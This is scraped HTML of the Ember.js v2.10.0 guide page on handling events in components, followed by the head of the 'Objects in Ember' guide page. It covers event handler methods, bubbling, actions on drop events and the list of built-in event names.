href="/v2.10.0/configuring-ember" id="ember195890" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember195891" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195893" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/contributing" id="ember195894" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember195895" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember195897" class="cp-Panel cp-is-closed ember-view"><a href="/v2.10.0/glossary" id="ember195898" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember195899" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember195900" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.10.0. <a href="/release/components/handling-events" id="ember195901" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.10.0/components/handling-events.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Handling Events </h1> <hr> <div id="ember195902" class="ember-view"><p>You can respond to user events on your component like double-clicking, hovering, and key presses through event handlers. Simply implement the name of the event you want to respond to as a method on your component.</p> <p>For example, imagine we have a template like this:</p> <pre><code class="handlebars language-handlebars">{{#double-clickable}} This is a double clickable area! {{/double-clickable}} </code></pre> <p>Let's implement <code>double-clickable</code> such that when it is clicked, an alert is displayed:</p> <pre><code class="javascript language-javascript"data-filename=app/components/double-clickable.js>import Ember from 'ember'; export default Ember.Component.extend({ doubleClick() { alert("DoubleClickableComponent was clicked!"); } }); </code></pre> <p>Browser events may bubble up the DOM which potentially target parent component(s) in succession. To enable bubbling <code>return true;</code> from the event handler method in your component.</p> <pre><code class="javascript language-javascript"data-filename=app/components/double-clickable.js>import Ember from 'ember'; export default Ember.Component.extend({ doubleClick() { Ember.Logger.info("DoubleClickableComponent was clicked!"); return true; } }); </code></pre> <p>See the list of event names at the end of this page. Any event can be defined as an event handler in your component.</p> <h2 id="toc_sending-actions">Sending Actions</h2> <section aria-labelledby="toc_sending-actions"> <p>In some cases your component needs to define event handlers, perhaps to support various draggable behaviors. For example, a component may need to send an <code>id</code> when it receives a drop event:</p> <pre><code class="handlebars language-handlebars">{{drop-target action=(action "didDrop")}} </code></pre> <p>You can define the component's event handlers to manage the drop event. And if you need to, you may also stop events from bubbling, by using <code>return false;</code>.</p> <pre><code class="javascript language-javascript"data-filename=app/components/drop-target.js>import Ember from 'ember'; export default Ember.Component.extend({ attributeBindings: ['draggable'], draggable: 'true', dragOver() { return false; }, drop(event) { let id = event.dataTransfer.getData('text/data'); this.get('action')(id); } }); </code></pre> <p>In the above component, <code>didDrop</code> is the <code>action</code> passed in. This action is called from the <code>drop</code> event handler and passes one argument to the action - the <code>id</code> value found through the <code>drop</code> event object.</p> <p>Another way to preserve native event behaviors and use an action, is to assign a (closure) action to an inline event handler. Consider the template below which includes an <code>onclick</code> handler on a <code>button</code> element:</p> <pre><code class="handlebars language-handlebars">&lt;button onclick={{action 'signUp'}}&gt;Sign Up&lt;/button&gt; </code></pre> <p>The <code>signUp</code> action is simply a function defined on the <code>actions</code> hash of a component. Since the action is assigned to an inline handler, the function definition can define the event object as its first parameter.</p> <pre><code class="javascript language-javascript">actions: { signUp: function(event){ // Only when assigning the action to an inline handler, the event object // is passed to the action as the first parameter. } } </code></pre> <p>The normal behavior for a function defined in <code>actions</code> does not receive the browser event as an argument. So, the function definition for the action cannot define an event parameter. The following example demonstrates the default behavior using an action.</p> <pre><code class="handlebars language-handlebars">&lt;button {{action 'signUp'}}&gt;Sign Up&lt;/button&gt; </code></pre> <pre><code class="javascript language-javascript">actions: { signUp: function(){ // No event object is passed to the action. } } </code></pre> <p>To utilize an <code>event</code> object as a function parameter:</p> <ul> <li>Define the event handler in the component (which is designed to receive the browser event object).</li> <li>Or, assign an action to an inline event handler in the template (which creates a closure action and does receive the event object as an argument).</li> </ul> </section> <h2 id="toc_event-names">Event Names</h2> <section aria-labelledby="toc_event-names"> <p>The event handling examples described above respond to one set of events. The names of the built-in events are listed below. Custom events can be registered by using <a href="https://api.emberjs.com/classes/Ember.Application.html#property_customEvents">Ember.Application.customEvents</a>.</p> <p>Touch events:</p> <ul> <li><code>touchStart</code></li> <li><code>touchMove</code></li> <li><code>touchEnd</code></li> <li><code>touchCancel</code></li> </ul> <p>Keyboard events</p> <ul> <li><code>keyDown</code></li> <li><code>keyUp</code></li> <li><code>keyPress</code></li> </ul> <p>Mouse events</p> <ul> <li><code>mouseDown</code></li> <li><code>mouseUp</code></li> <li><code>contextMenu</code></li> <li><code>click</code></li> <li><code>doubleClick</code></li> <li><code>mouseMove</code></li> <li><code>focusIn</code></li> <li><code>focusOut</code></li> <li><code>mouseEnter</code></li> <li><code>mouseLeave</code></li> </ul> <p>Form events:</p> <ul> <li><code>submit</code></li> <li><code>change</code></li> <li><code>focusIn</code></li> <li><code>focusOut</code></li> <li><code>input</code></li> </ul> <p>HTML5 drag and drop events:</p> <ul> <li><code>dragStart</code></li> <li><code>drag</code></li> <li><code>dragEnter</code></li> <li><code>dragLeave</code></li> <li><code>dragOver</code></li> <li><code>dragEnd</code></li> <li><code>drop</code></li> </ul> </section> </div> <footer id="ember195903" class="ember-view"> <a href="/v2.10.0/components/block-params" id="ember195904" class="previous-guide ember-view">Using Block Params</a> <a href="/v2.10.0/components/triggering-changes-with-actions" id="ember195905" class="next-guide ember-view"> Triggering Changes with Actions </a></footer> </article> </main> <footer id="ember195906" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember195907" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember195908" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember195909" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Objects in Ember - The Object Model - Ember Guides</title> <meta name="description" content="You'll notice standard JavaScript class patterns and the new ES2015 classes aren't widely used in Ember. Plain objects can still be found, and sometimes they're referred to as &quot;hashes&quot;. JavaScript objects don't support the observation of property value..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Objects in Ember - The Object Model - Ember Guides"> <!----> <meta property="og:description" content="You'll notice standard JavaScript class patterns and the new ES2015 classes aren't widely used in Ember. Plain objects can still be found, and sometimes they're referred to as &quot;hashes&quot;. JavaScript objects don't support the observation of property value..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Objects in Ember - The Object Model - Ember Guides"> <!----> <meta name="twitter:description" content="You'll notice standard JavaScript class patterns and the new ES2015 classes aren't widely used in Ember. Plain objects can still be found, and sometimes they're referred to as &quot;hashes&quot;. JavaScript objects don't support the observation of property value..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script 